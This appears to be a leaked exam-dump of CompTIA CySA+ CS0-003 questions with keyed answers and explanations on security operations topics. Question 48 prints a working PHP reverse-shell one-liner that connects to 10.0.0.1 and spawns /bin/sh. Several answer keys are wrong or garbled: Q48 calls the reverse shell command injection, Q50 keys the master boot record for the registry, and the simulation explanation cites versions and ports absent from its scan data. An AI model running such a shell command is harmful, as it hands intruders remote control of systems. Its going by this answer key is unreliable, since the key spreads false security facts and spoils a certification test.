

Exam Questions CS0-003

CompTIA CySA+ Certification Beta Exam

<https://www.2passeasy.com/dumps/CS0-003/>



NEW QUESTION 1

Several critical bugs were identified during a vulnerability scan. The SLA risk requirement is that all critical vulnerabilities should be patched within 24 hours. After sending a notification to the asset owners, the patch cannot be deployed due to planned, routine system upgrades. Which of the following is the best method to remediate the bugs?

- A. Reschedule the upgrade and deploy the patch
- B. Request an exception to exclude the patch from installation
- C. Update the risk register and request a change to the SLA
- D. Notify the incident response team and rerun the vulnerability scan

Answer: C

Explanation:

When a patch cannot be deployed due to conflicting routine system upgrades, updating the risk register and requesting a change to the Service Level Agreement (SLA) is a practical approach. It allows for re-evaluation of the risk and adjustment of the SLA to reflect the current situation.

NEW QUESTION 2

A company is in the process of implementing a vulnerability management program. Which of the following scanning methods should be implemented to minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process?

- A. Non-credentialed scanning
- B. Passive scanning
- C. Agent-based scanning
- D. Credentialed scanning

Answer: B

Explanation:

Passive scanning is a method of vulnerability identification that does not send any packets or probes to the target devices, but rather observes and analyzes the network traffic passively. Passive scanning can minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process, as it does not interfere with the normal operation of the devices or cause any network disruption. Passive scanning can also detect vulnerabilities that active scanning may miss, such as misconfigured devices, rogue devices or unauthorized traffic. Official References:

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

? <https://www.comptia.org/certifications/cybersecurity-analyst>

NEW QUESTION 3

Which of the following best describes the importance of implementing TAXII as part of a threat intelligence program?

- A. It provides a structured way to gain information about insider threats.
- B. It proactively facilitates real-time information sharing between the public and private sectors.
- C. It exchanges messages in the most cost-effective way and requires little maintenance once implemented.
- D. It is a semi-automated solution to gather threat intelligence about competitors in the same sector.

Answer: B

Explanation:

The correct answer is B. It proactively facilitates real-time information sharing between the public and private sectors.

TAXII, or Trusted Automated eXchange of Intelligence Information, is a standard protocol for sharing cyber threat intelligence in a standardized, automated, and secure manner. TAXII defines how cyber threat information can be shared via services and message exchanges, such as discovery, collection management, inbox, and poll. TAXII is designed to support STIX, or Structured Threat Information eXpression, which is a standardized language for describing cyber threat information in a readable and consistent format. Together, STIX and TAXII form a framework for sharing and using threat intelligence, creating an open-source platform that allows users to search through records containing attack vectors details such as malicious IP addresses, malware signatures, and threat actors¹²³. The importance of implementing TAXII as part of a threat intelligence program is that it proactively facilitates real-time information sharing between the public and private sectors. By using TAXII, organizations can exchange cyber threat information with various entities, such as security vendors, government agencies, industry associations, or trusted groups. TAXII enables different sharing models, such as hub and spoke, source/subscriber, or peer-to-peer, depending on the needs and preferences of the information producers and consumers. TAXII also supports different levels of access control, encryption, and authentication to ensure the security and privacy of the shared information¹²³.

By implementing TAXII as part of a threat intelligence program, organizations can benefit from the following advantages:

? They can receive timely and relevant information about the latest threats and vulnerabilities that may affect their systems or networks.

? They can leverage the collective knowledge and experience of other organizations that have faced similar or related threats.

? They can improve their situational awareness and threat detection capabilities by correlating and analyzing the shared information.

? They can enhance their incident response and mitigation strategies by applying the best practices and recommendations from the shared information.

? They can contribute to the overall improvement of cyber security by sharing their own insights and feedback with other organizations¹²³.

The other options are incorrect because they do not accurately describe the importance of implementing TAXII as part of a threat intelligence program.

Option A is incorrect because TAXII does not provide a structured way to gain information about insider threats. Insider threats are malicious activities conducted by authorized users within an organization, such as employees, contractors, or partners. Insider threats can be detected by using various methods, such as user behavior analysis, data loss prevention, or anomaly detection. However, TAXII is not designed to collect or share information about insider threats specifically. TAXII is more focused on external threats that originate from outside sources, such as hackers, cybercriminals, or nation-states⁴.

Option C is incorrect because TAXII does not exchange messages in the most cost-effective way and requires little maintenance once implemented. TAXII is a protocol that defines how messages are exchanged, but it does not specify the cost or maintenance of the exchange. The cost and maintenance of implementing TAXII depend on various factors, such as the type and number of services used, the volume and frequency of data exchanged, the security and reliability requirements of the exchange, and the availability and compatibility of existing tools and platforms. Implementing TAXII may require significant resources and efforts from both the information producers and consumers to ensure its functionality and performance⁵.

Option D is incorrect because TAXII is not a semi-automated solution to gather threat intelligence about competitors in the same sector. TAXII is a fully automated solution that enables the exchange of threat intelligence among various entities across different sectors. TAXII does not target or collect information about specific competitors in the same sector. Rather, it aims to foster collaboration and cooperation among organizations that share common interests or goals in cyber security. Moreover, gathering threat intelligence about competitors in the same sector may raise ethical and legal issues that are beyond the scope of TAXII.

References:

- ? 1 What is STIX/TAXII? | Cloudflare
- ? 2 What Are STIX/TAXII Standards? - Anomali Resources
- ? 3 What is STIX and TAXII? - EclecticlQ
- ? 4 What Is an Insider Threat? Definition & Examples | Varonis
- ? 5 Implementing STIX/TAXII - GitHub Pages
- ? [6] Cyber Threat Intelligence: Ethical Hacking vs Unethical Hacking | Infosec

NEW QUESTION 4

Which of the following would help to minimize human engagement and aid in process improvement in security operations?

- A. OSSTMM
- B. SIEM
- C. SOAR
- D. QVVASP

Answer: C

Explanation:

SOAR stands for security orchestration, automation, and response, which is a term that describes a set of tools, technologies, or platforms that can help streamline, standardize, and automate security operations and incident response processes and tasks. SOAR can help minimize human engagement and aid in process improvement in security operations by reducing manual work, human errors, response time, or complexity. SOAR can also help enhance collaboration, coordination, efficiency, or effectiveness of security operations and incident response teams.

NEW QUESTION 5

An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?

- A. Hard disk
- B. Primary boot partition
- C. Malicious files
- D. Routing table
- E. Static IP address

Answer: A

Explanation:

The hard disk is the piece of data that should be collected first in order to preserve sensitive information before isolating the server. The hard disk contains all the files and data stored on the server, which may include evidence of malicious activity, such as malware installation, data exfiltration, or configuration changes. The hard disk should be collected using proper forensic techniques, such as creating an image or a copy of the disk and maintaining its integrity using hashing algorithms.

NEW QUESTION 6

Which of the following is described as a method of enforcing a security policy between cloud customers and cloud services?

- A. CASB
- B. DMARC
- C. SIEM
- D. PAM

Answer: A

Explanation:

A CASB (Cloud Access Security Broker) is a security solution that acts as an intermediary between cloud users and cloud providers, and monitors and enforces security policies for cloud access and usage. A CASB can help organizations protect their data and applications in the cloud from unauthorized or malicious access, as well as comply with regulatory standards and best practices. A CASB can also provide visibility, control, and analytics for cloud activity, and identify and mitigate potential threats¹²

The other options are not correct. DMARC (Domain-based Message Authentication, Reporting and Conformance) is an email authentication protocol that helps email domain owners prevent spoofing and phishing attacks by verifying the sender's identity and instructing the receiver how to handle unauthenticated messages³⁴ SIEM (Security Information and Event Management) is a security solution that collects, aggregates, and analyzes log data from various sources across an organization's network, such as applications, devices, servers, and users, and provides real-time alerts, dashboards, reports, and incident response capabilities to help security teams identify and mitigate cyberattacks⁵⁶ PAM (Privileged Access Management) is a security solution that helps organizations manage and protect the access and permissions of users, accounts, processes, and systems that have elevated or administrative privileges. PAM can help prevent credential theft, data breaches, insider threats, and compliance violations by monitoring, detecting, and preventing unauthorized privileged access to critical resources⁷⁸

NEW QUESTION 7

Which of the following best describes the reporting metric that should be utilized when measuring the degree to which a system, application, or user base is affected by an uptime availability outage?

- A. Timeline
- B. Evidence
- C. Impact
- D. Scope

Answer: C

Explanation:

The correct answer is C. Impact.

The impact metric is the best way to measure the degree to which a system, application, or user base is affected by an uptime availability outage. The impact

metric quantifies the consequences of the outage in terms of lost revenue, productivity, reputation, customer satisfaction, or other relevant factors. The impact metric can help prioritize the recovery efforts and justify the resources needed to restore the service¹. The other options are not the best ways to measure the degree to which a system, application, or user base is affected by an uptime availability outage. The timeline metric (A) measures the duration and frequency of the outage, but not its effects. The evidence metric (B) measures the sources and types of data that can be used to investigate and analyze the outage, but not its effects. The scope metric (D) measures the extent and severity of the outage, but not its effects.

NEW QUESTION 8

An analyst is designing a message system for a bank. The analyst wants to include a feature that allows the recipient of a message to prove to a third party that the message came from the sender Which of the following information security goals is the analyst most likely trying to achieve?

- A. Non-repudiation
- B. Authentication
- C. Authorization
- D. Integrity

Answer: A

Explanation:

Non-repudiation ensures that a message sender cannot deny the authenticity of their sent message. This is crucial in banking communications for legal and security reasons.

The goal of allowing a message recipient to prove the message's origin is non-repudiation. This ensures that the sender cannot deny the authenticity of their message. Non- repudiation is a fundamental aspect of secure messaging systems, especially in banking and financial communications.

NEW QUESTION 9

An incident response analyst is investigating the root cause of a recent malware outbreak. Initial binary analysis indicates that this malware disables host security services and performs cleanup routines on it infected hosts, including deletion of initial dropper and removal of event log entries and prefetch files from the host. Which of the following data sources would most likely reveal evidence of the root cause? (Select two).

- A. Creation time of dropper
- B. Registry artifacts
- C. EDR data
- D. Prefetch files
- E. File system metadata
- F. Sysmon event log

Answer: BC

Explanation:

Registry artifacts and EDR data are two data sources that can provide valuable information about the root cause of a malware outbreak. Registry artifacts can reveal changes made by the malware to the system configuration, such as disabling security services, modifying startup items, or creating persistence mechanisms¹. EDR data can capture the behavior and network activity of the malware, such as the initial infection vector, the command and control communication, or the lateral movement². These data sources can help the analyst identify the malware family, the attack technique, and the threat actor behind the outbreak.

References: Malware Analysis | CISA, Malware Analysis: Steps & Examples - CrowdStrike

NEW QUESTION 10

A recent penetration test discovered that several employees were enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls. Which of the following would best address this issue?

- A. Increasing training and awareness for all staff
- B. Ensuring that malicious websites cannot be visited
- C. Blocking all scripts downloaded from the internet
- D. Disabling all staff members' ability to run downloaded applications

Answer: A

Explanation:

Increasing training and awareness for all staff is the best way to address the issue of employees being enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls. This issue is an example of social engineering, which is a technique that exploits human psychology and behavior to manipulate people into performing actions or divulging information that benefit the attackers. Social engineering can take many forms, such as phishing, vishing, baiting, quid pro quo, or impersonation. The best defense against social engineering is to educate and train the staff on how to recognize and avoid common social engineering tactics, such as:

- ? Verifying the identity and legitimacy of the caller or sender before following their instructions or clicking on any links or attachments
- ? Being wary of unsolicited or unexpected requests for information or action, especially if they involve urgency, pressure, or threats
- ? Reporting any suspicious or anomalous activity to the security team or the appropriate authority
- ? Following the organization's policies and procedures on security awareness and best practices

Official References:

- ? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002- exam-objectives>
- ? <https://www.comptia.org/certifications/cybersecurity-analyst>
- ? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your- questions-answered>

NEW QUESTION 10

A security analyst needs to ensure that systems across the organization are protected based on the sensitivity of the content each system hosts. The analyst is working with the respective system owners to help determine the best methodology that seeks to promote confidentiality, availability, and integrity of the data being hosted. Which of the following should the security analyst perform first to categorize and prioritize the respective systems?

- A. Interview the users who access these systems,
- B. Scan the systems to see which vulnerabilities currently exist.
- C. Configure alerts for vendor-specific zero-day exploits.
- D. Determine the asset value of each system.

Answer: D

Explanation:

Determining the asset value of each system is the best action to perform first, as it helps to categorize and prioritize the systems based on the sensitivity of the data they host. The asset value is a measure of how important a system is to the organization, in terms of its financial, operational, or reputational impact. The asset value can help the security analyst to assign a risk level and a protection level to each system, and to allocate resources accordingly. The other actions are not as effective as determining the asset value, as they do not directly address the goal of promoting confidentiality, availability, and integrity of the data. Interviewing the users who access these systems may provide some insight into how the systems are used and what data they contain, but it may not reflect the actual value or sensitivity of the data from an organizational perspective. Scanning the systems to see which vulnerabilities currently exist may help to identify and remediate some security issues, but it does not help to categorize or prioritize the systems based on their data sensitivity. Configuring alerts for vendor-specific zero-day exploits may help to detect and respond to some emerging threats, but it does not help to protect the systems based on their data sensitivity.

NEW QUESTION 13

A security analyst has found a moderate-risk item in an organization's point-of-sale application. The organization is currently in a change freeze window and has decided that the risk is not high enough to correct at this time. Which of the following inhibitors to remediation does this scenario illustrate?

- A. Service-level agreement
- B. Business process interruption
- C. Degrading functionality
- D. Proprietary system

Answer: B

Explanation:

Business process interruption is the inhibitor to remediation that this scenario illustrates. Business process interruption is when the remediation of a vulnerability or an incident requires the disruption or suspension of a critical or essential business process, such as the point-of-sale application. This can cause operational, financial, or reputational losses for the organization, and may outweigh the benefits of the remediation. Therefore, the organization may decide to postpone or avoid the remediation until a more convenient time, such as a change freeze window, which is a period of time when no changes are allowed to the IT environment¹². Service-level agreement, degrading functionality, and proprietary system are other possible inhibitors to remediation, but they are not relevant to this scenario. Service-level agreement is when the remediation of a vulnerability or an incident violates or affects the contractual obligations or expectations of the service provider or the customer. Degrading functionality is when the remediation of a vulnerability or an incident reduces or impairs the performance or usability of a system or an application. Proprietary system is when the remediation of a vulnerability or an incident involves a system or an application that is owned or controlled by a third party, and the organization has limited or no access or authority to modify it³. References: Inhibitors to Remediation — SOC Ops Simplified, Remediation Inhibitors - CompTIA CySA+, Information security Vulnerability Management Report (Remediation...

NEW QUESTION 18

A Chief Information Security Officer (CISO) is concerned that a specific threat actor who is known to target the company's business type may be able to breach the network and remain inside of it for an extended period of time. Which of the following techniques should be performed to meet the CISO's goals?

- A. Vulnerability scanning
- B. Adversary emulation
- C. Passive discovery
- D. Bug bounty

Answer: B

Explanation:

The correct answer is B. Adversary emulation. Adversary emulation is a technique that involves mimicking the tactics, techniques, and procedures (TTPs) of a specific threat actor or group to test the effectiveness of the security controls and incident response capabilities of an organization¹. Adversary emulation can help identify and address the gaps and weaknesses in the security posture of an organization, as well as improve the readiness and skills of the security team. Adversary emulation can also help measure the dwell time, which is the duration that a threat actor remains undetected inside the network². The other options are not the best techniques to meet the CISO's goals. Vulnerability scanning (A) is a technique that involves scanning the network and systems for known vulnerabilities, but it does not simulate a real attack or test the incident response capabilities. Passive discovery © is a technique that involves collecting information about the network and systems without sending any packets or probes, but it does not identify or exploit any vulnerabilities or test the security controls. Bug bounty (D) is a program that involves rewarding external researchers or hackers for finding and reporting vulnerabilities in an organization's systems or applications, but it does not focus on a specific threat actor or group.

NEW QUESTION 21

After a security assessment was done by a third-party consulting firm, the cybersecurity program recommended integrating DLP and CASB to reduce analyst alert fatigue. Which of the following is the best possible outcome that this effort hopes to achieve?

- A. SIEM ingestion logs are reduced by 20%.
- B. Phishing alerts drop by 20%.
- C. False positive rates drop to 20%.
- D. The MTTR decreases by 20%.

Answer: D

Explanation:

The MTTR (Mean Time to Resolution) decreases by 20% is the best possible outcome that this effort hopes to achieve, as it reflects the improvement in the efficiency and effectiveness of the incident response process by reducing analyst alert fatigue. Analyst alert fatigue is a term that refers to the phenomenon of security analysts becoming overwhelmed, desensitized, or exhausted by the large number of alerts they receive from various security tools or systems, such as DLP (Data Loss Prevention) or CASB (Cloud Access Security Broker). DLP is a security solution that helps to prevent unauthorized access, use, or transfer of

sensitive data, such as personal information, intellectual property, or financial records. CASB is a security solution that helps to monitor and control the use of cloud-based applications and services, such as SaaS (Software as a Service), PaaS (Platform as a Service), or IaaS (Infrastructure as a Service). Both DLP and CASB can generate alerts when they detect potential data breaches, policy violations, or malicious activities, but they can also produce false positives, irrelevant information, or duplicate notifications that can overwhelm or distract the security analysts. Analyst alert fatigue can have negative consequences for the security posture and performance of an organization, such as missing or ignoring critical alerts, delaying or skipping investigations or remediations, making errors or mistakes, or losing motivation or morale. Therefore, it is important to reduce analyst alert fatigue and optimize the alert management process by using various strategies, such as tuning the alert thresholds and rules, prioritizing and triaging the alerts based on severity and context, enriching and correlating the alerts with additional data sources, automating or orchestrating repetitive or low-level tasks or actions, or integrating and consolidating different security tools or systems into a unified platform. By reducing analyst alert fatigue and optimizing the alert management process, the effort hopes to achieve a decrease in the MTTR, which is a metric that measures the average time it takes to resolve an incident from the moment it is reported to the moment it is closed. A lower MTTR indicates a faster and more effective incident response process, which can help to minimize the impact and damage of security incidents, improve customer satisfaction and trust, and enhance security operations and outcomes. The other options are not as relevant or realistic as the MTTR decreases by 20%, as they do not reflect the best possible outcome that this effort hopes to achieve. SIEM ingestion logs are reduced by 20% is not a relevant outcome, as it does not indicate any improvement in the incident response process or any reduction in analyst alert fatigue. SIEM (Security Information and Event Management) is a security solution that collects and analyzes data from various sources, such as logs, events, or alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM ingestion logs are records of the data that is ingested by the SIEM system from different sources. Reducing SIEM ingestion logs may imply less data volume or less data sources for the SIEM system, which may not necessarily improve its performance or accuracy. Phishing alerts drop by 20% is not a realistic outcome, as it does not depend on the integration of DLP and CASB or any reduction in analyst alert fatigue. Phishing alerts are notifications that indicate potential phishing attempts or attacks, such as fraudulent emails, websites, or messages that try to trick users into revealing sensitive information or installing malware. Phishing alerts can be generated by various security tools or systems, such as email security solutions, web security solutions, endpoint security solutions, or user awareness training programs. Reducing phishing alerts may imply less phishing attempts or attacks on the organization, which may not necessarily be influenced by the integration of DLP and CASB or any reduction in analyst alert fatigue. False positive rates drop to 20% is not a realistic outcome

NEW QUESTION 23

New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy. Which of the following will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy?

- A. Human resources must email a copy of a user agreement to all new employees
- B. Supervisors must get verbal confirmation from new employees indicating they have read the user agreement
- C. All new employees must take a test about the company security policy during the onboarding process
- D. All new employees must sign a user agreement to acknowledge the company security policy

Answer: D

Explanation:

The best action that the SOC manager can recommend to help ensure new employees are accountable for following the company policy is to require all new employees to sign a user agreement to acknowledge the company security policy. A user agreement is a document that defines the rights and responsibilities of the users regarding the use of the company's systems, networks, or resources, as well as the consequences of violating the company's security policy. Signing a user agreement can help ensure new employees are aware of and agree to comply with the company security policy, as well as hold them accountable for any breaches or incidents caused by their actions or inactions.

NEW QUESTION 27

A security analyst is reviewing the logs of a web server and notices that an attacker has attempted to exploit a SQL injection vulnerability. Which of the following tools can the analyst use to analyze the attack and prevent future attacks?

- A. A web application firewall
- B. A network intrusion detection system
- C. A vulnerability scanner
- D. A web proxy

Answer: A

Explanation:

A web application firewall (WAF) is a tool that can protect web servers from attacks such as SQL injection, cross-site scripting, and other web-based threats. A WAF can filter, monitor, and block malicious HTTP traffic before it reaches the web server. A WAF can also be configured with rules and policies to detect and prevent specific types of attacks.

References: CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition, Chapter 3, "Security Architecture and Tool Sets", page 91; CompTIA CySA+ Certification Exam Objectives Version 4.0, Domain 1.0 "Threat and Vulnerability Management", Objective 1.2 "Given a scenario, analyze the results of a network reconnaissance", Sub-objective "Web application attacks", page 9

CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition : CompTIA CySA+ Certification Exam Objectives Version 4.0.pdf)

NEW QUESTION 28

SIMULATION

You are a cybersecurity analyst tasked with interpreting scan data from Company A's servers. You must verify the requirements are being met for all of the servers and recommend changes if you find they are not.

The company's hardening guidelines indicate the following:

- TLS 1.2 is the only version of TLS running.
- Apache 2.4.18 or greater should be used.
- Only default ports should be used.

INSTRUCTIONS

using the supplied data, record the status of compliance with the company's guidelines for each server.

The question contains two parts: make sure you complete Part 1 and Part 2. Make recommendations for Issues based ONLY on the hardening guidelines provided.

Part 1: AppServ1:

```
AppServ1 AppServ2 AppServ3 AppServ4

root@INFOSEC:~# curl --head appsrv1.fictionalorg.com:443

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c407930177d"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html


root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv1.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv1.fictionalorg.com (10.21.4.68)
Host is up (0.042s latency).
rDNS record for 10.21.4.68: inaddrArpa.fictionalorg.com
PORT      STATE SERVICE
443/tcp   open  https


root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv1.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv1.fictionalorg.com (10.21.4.68)
Host is up (0.042s latency).
|_ TLS_RSA_WITH_AES_256_GCM_SHA384 - strong
|_ compressors:
|_ NULL
|_ least strength: strong

Nmap done: 1 IP address (1 host up) scanned in 8.63 seconds


root@INFOSEC:~# nmap --top-ports 10 appsrv1.fictionalorg.com

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-27 10:13 CDT

Nmap scan report for appsrv1.fictionalorg.com (10.21.4.68)
Host is up (0.15s latency).
rDNS record for 10.21.4.68: appsrv1.fictionalorg.com
PORT      STATE SERVICE
80/tcp    open  http
```

AppServ2:


```
AppServ1 AppServ2 AppServ3 AppServ4

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.3.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c407930177d"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv2.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv2.fictionalorg.com (10.21.4.69)
Host is up (0.042s latency).
rDNS record for 10.21.4.69: inaddrArpa.fictionalorg.com
Not shown: 998 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
```

AppServ3:

```
AppServ1 AppServ2 AppServ3 AppServ4

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c406780177e"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv3.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv3.fictionalorg.com (10.21.4.70)
Host is up (0.042s latency).
rDNS record for 10.21.4.70: inaddrArpa.fictionalorg.com
PORT      STATE SERVICE
80/tcp    open  http
443/tcp   open  https
```

AppServ4:


```

AppServ1 AppServ2 AppServ3 AppServ4
Server: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c406780177e"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv4.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv4.fictionalorg.com (10.21.4.71)
Host is up (0.042s latency).
rDNS record for 10.21.4.71: inaddrArpa.fictionalorg.com
Not shown: 998 filtered ports
PORT      STATE SERVICE
443/tcp   open  https
| TLSv1.2:
|   ciphers:
|     TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
2:38:26 | TLS_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_GCM_SHA256 - strong

```

Compliance Report

Fill out the following report based on your analysis of the scan data.

- ☐ AppServ1 is only using TLS 1.2
- ☐ AppServ2 is only using TLS 1.2
- ☐ AppServ3 is only using TLS 1.2
- ☐ AppServ4 is only using TLS 1.2
- ☐ AppServ1 is using Apache 2.4.18 or greater
- ☐ AppServ2 is using Apache 2.4.18 or greater
- ☐ AppServ3 is using Apache 2.4.18 or greater
- ☐ AppServ4 is using Apache 2.4.18 or greater

Part 2:

A. Mastered
B. Not Mastered

Explanation:
Part 1:

Compliance Report

Fill out the following report based on your analysis of the scan data.

☐ AppServ1 is only using TLS 1.2

☒ AppServ2 is only using TLS 1.2

☒ AppServ3 is only using TLS 1.2

☒ AppServ4 is only using TLS 1.2

☐ AppServ1 is using Apache 2.4.18 or greater

☒ AppServ2 is using Apache 2.4.18 or greater

☒ AppServ3 is using Apache 2.4.18 or greater

☐ AppServ4 is using Apache 2.4.18 or greater

Part 2:

Based on the compliance report, I recommend the following changes for each server: AppServ1: No changes are needed for this server.

AppServ2: Disable or upgrade TLS 1.0 and TLS 1.1 to TLS 1.2 on this server to ensure secure encryption and communication between clients and the server.

Update Apache from version 2.4.17 to version 2.4.18 or greater on this server to fix any potential vulnerabilities or bugs.

AppServ3: Downgrade Apache from version 2.4.19 to version 2.4.18 or lower on this server to ensure compatibility and stability with the company's applications and policies. Change the port number from 8080 to either port 80 (for HTTP) or port 443 (for HTTPS) on this server to follow the default port convention and avoid any confusion or conflicts with other services.

AppServ4: Update Apache from version 2.4.16 to version 2.4.18 or greater on this server to fix any potential vulnerabilities or bugs. Change the port number from 8443 to either port 80 (for HTTP) or port 443 (for HTTPS) on this server to follow the default port convention and avoid any confusion or conflicts with other services.

NEW QUESTION 33

Following a recent security incident, the Chief Information Security Officer is concerned with improving visibility and reporting of malicious actors in the environment. The goal is to reduce the time to prevent lateral movement and potential data exfiltration. Which of the following techniques will best achieve the improvement?

- A. Mean time to detect
- B. Mean time to respond
- C. Mean time to remediate
- D. Service-level agreement uptime

Answer: A

Explanation:

Mean time to detect (MTTD) is a metric that measures how quickly an organization can identify a security incident or a malicious actor in the environment. Reducing MTTD can improve visibility and reporting of threats, as well as prevent lateral movement and data exfiltration by detecting them sooner.

NEW QUESTION 36

An analyst is becoming overwhelmed with the number of events that need to be investigated for a timeline. Which of the following should the analyst focus on in order to move the incident forward?

- A. Impact
- B. Vulnerability score
- C. Mean time to detect
- D. Isolation

Answer: A

Explanation:

The analyst should focus on the impact of the events in order to move the incident forward. Impact is the measure of the potential or actual damage caused by an incident, such as data loss, financial loss, reputational damage, or regulatory penalties. Impact can help the analyst prioritize the events that need to be

investigated based on their severity and urgency, and allocate the appropriate resources and actions to contain and remediate them. Impact can also help the analyst communicate the status and progress of the incident to the stakeholders and customers, and justify the decisions and recommendations made during the incident response¹². Vulnerability score, mean time to detect, and isolation are all important metrics or actions for incident response, but they are not the main focus for moving the incident forward. Vulnerability score is the rating of the likelihood and severity of a vulnerability being exploited by a threat actor. Mean time to detect is the average time it takes to discover an incident. Isolation is the process of disconnecting an affected system from the network to prevent further damage or spread of the incident³⁴. References: Incident Response: Processes, Best Practices & Tools - Atlassian, Incident Response Metrics: What You Should Be Measuring, Vulnerability Scanning Best Practices, How to Track Mean Time to Detect (MTTD) and Mean Time to Respond (MTTR) to Cybersecurity Incidents, [Isolation and Quarantine for Incident Response]

NEW QUESTION 39

A security manager is looking at a third-party vulnerability metric (SMITTEN) to improve upon the company's current method that relies on CVSSv3. Given the following:

Vulnerability 1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Base Score: 7.5

High

SMITTEN: Malware exploitable: No; Exploit Activity: Low; Exposed Externally: No

Vulnerability 2

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N - Base Score: 5.4

Medium

SMITTEN: Malware exploitable: Yes; Exploit Activity: HIGH; Exposed Externally: Yes

Vulnerability 3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Base Score: 9.8

Critical

SMITTEN: Malware exploitable: No; Exploit Activity: None; Exposed Externally: Yes

Vulnerability 4

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Base Score: 9.9

Critical

SMITTEN: Malware exploitable: Yes; Exploit Activity: Medium; Exposed Externally: No

Which of the following vulnerabilities should be prioritized?

- A. Vulnerability 1
- B. Vulnerability 2
- C. Vulnerability 3
- D. Vulnerability 4

Answer: B

Explanation:

Vulnerability 2 should be prioritized as it is exploitable, has high exploit activity, and is exposed externally according to the SMITTEN metric. References: Vulnerability Management Metrics: 5 Metrics to Start Measuring in Your Program, Section: Vulnerability Severity.

NEW QUESTION 44

Which of the following is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence?

- A. Risk register
- B. Vulnerability assessment
- C. Penetration test
- D. Compliance report

Answer: A

Explanation:

A risk register is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence. A risk register is a document that records the details of all the risks identified in a project or an organization, such as their sources, causes, consequences, probabilities, impacts, and mitigation strategies. A risk register can help the security team to prioritize the risks based on their severity and urgency, and to monitor and control them throughout the project or the organization's lifecycle¹². A vulnerability assessment, a penetration test, and a compliance report are all methods or outputs of identifying and evaluating the threats and vulnerabilities, but they are not tools for mapping, tracking, and mitigating them³⁴⁵. References: What is a Risk Register? | Smartsheet, Risk Register: Definition & Example, Vulnerability Assessment vs. Penetration Testing: What's the Difference?, What is a Penetration Test and How Does It Work?, What is a Compliance Report? | Definition, Types, and Examples

NEW QUESTION 48

While reviewing web server logs, a security analyst discovers the following suspicious line:

```
php -r '$socket=fsockopen("10.0.0.1", 1234); passthru("/bin/sh -i <&3 >&3 2>&3");'
```

Which of the following is being attempted?

- A. Remote file inclusion
- B. Command injection
- C. Server-side request forgery
- D. Reverse shell

Answer: B

Explanation:

The suspicious line in the web server logs is an attempt to execute a command on the server, indicating a command injection attack. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

NEW QUESTION 50

A systems analyst is limiting user access to system configuration keys and values in a Windows environment. Which of the following describes where the analyst can find these configuration items?

- A. confi
- B. ini
- C. ntds.dit
- D. Master boot record
- E. Registry

Answer: D

Explanation:
